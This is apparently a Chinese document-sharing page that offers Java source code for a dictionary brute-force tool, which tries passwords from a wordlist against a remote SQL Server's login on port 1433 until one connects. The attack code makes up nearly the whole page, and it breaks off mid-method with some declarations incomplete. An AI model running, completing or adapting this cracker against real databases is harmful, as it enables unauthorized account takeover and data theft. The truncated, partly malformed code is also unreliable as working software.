暴力破解代码
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
暴力破解代码
程序源代码:
package cn.keona.check;
import java.io.File;
import java.io.FileReader;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.FileNotFoundException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.List;
import java.util.ArrayList;
import java.text.MessageFormat;
/**
* 破解工具类
*/
public class CheckSQLPasswordUtil {
//SQL-Server2000驱动.
private static final String DBDRIVER = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; //数据库连接URL.
private static final String DBURL = "jdbc:microsoft:sqlserver://{0}:1433;databasename=master";
//远程数据库路径.
private String databaseUrl;
//需要破解的数据用户.
private String dbUser;
//密码文件路径.
private String passwordPath;
//密码集合.
private List
//是否破解密码.
private boolean isCheck;
//正确密码.
private String truePassword;
//带参数构造方法.
public CheckSQLPasswordUtil(String databaseUrl,String dbUser,String passwordPath) { this.databaseUrl = databaseUrl;
this.dbUser = dbUser;
this.passwordPath = passwordPath;
this.isCheck = false;
this.truePassword = "";
}
//初始化程序.
private boolean init() {
//参数检查.
if(databaseUrl == null || databaseUrl.equals("")) {
System.out.println("[系统提示]:请输入远程数据地址!");
return false;
}
if(dbUser == null || dbUser.equals("")) {
System.out.println("[系统提示]:请输入你要破解的数据库帐号!");
}
if(passwordPath == null || passwordPath.equals("")) {
System.out.println("[系统提示]:请输入字典文件路径!");
return false;
}
//数据库连接URL.
MessageFormat format = new MessageFormat(DBURL);
databaseUrl = format.format(DBURL,databaseUrl);
System.out.println(databaseUrl);
return true;
}
//破解密码.
private boolean checkPass() {
String pass = "";
try {
if(passwords.size()<1) {
return false;
}
pass = passwords.get(0);
passwords.remove(0);
Class.forName(DBDRIVER);
Connection conn = DriverManager.getConnection(databaseUrl,dbUser,pass); //执行到这里,表示测试成功.
conn.close();
truePassword = pass;
isCheck = true;
} catch(ClassNotFoundException classEx) {
System.out.println("[系统提示]:没有找到合适的驱动包文件...!");
return false;
} catch(SQLException sqlEx) {
System.out.println("[进度提示]:" + dbUser + "用户尝试" + pass + "....>>>失败!");